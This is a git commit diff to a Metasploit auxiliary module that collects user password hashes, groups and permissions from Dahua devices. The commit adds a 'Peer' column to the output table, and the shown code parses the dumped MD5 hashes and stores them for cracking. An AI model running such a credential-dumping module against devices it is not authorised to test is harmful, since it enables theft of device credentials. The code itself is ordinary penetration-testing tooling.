added peer to users table

bug/bundler_fix
Tyler Bennett 2015-12-15 16:45:45 -05:00
parent 797bd9e04d
commit 5bb8dbcafc
1 changed files with 2 additions and 2 deletions

View File

@ -207,12 +207,12 @@ class Metasploit3 < Msf::Auxiliary
users_table = Rex::Ui::Text::Table.new( users_table = Rex::Ui::Text::Table.new(
'Header' => 'Dahua Users Hashes and Rights', 'Header' => 'Dahua Users Hashes and Rights',
'Indent' => 1, 'Indent' => 1,
'Columns' => ['Username', 'Password Hash', 'Groups', 'Permissions', 'Description'] 'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
) )
data.each do |val| data.each do |val|
usercount += 1 usercount += 1
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
users_table << [user, md5hash, groups, rights, name] users_table << [ peer, user, md5hash, groups, rights, name]
# Write the dahua hash to the database # Write the dahua hash to the database
hash = "#{rhost} #{user}:$dahua$#{md5hash}" hash = "#{rhost} #{user}:$dahua$#{md5hash}"
report_hash(rhost, rport, user, hash) report_hash(rhost, rport, user, hash)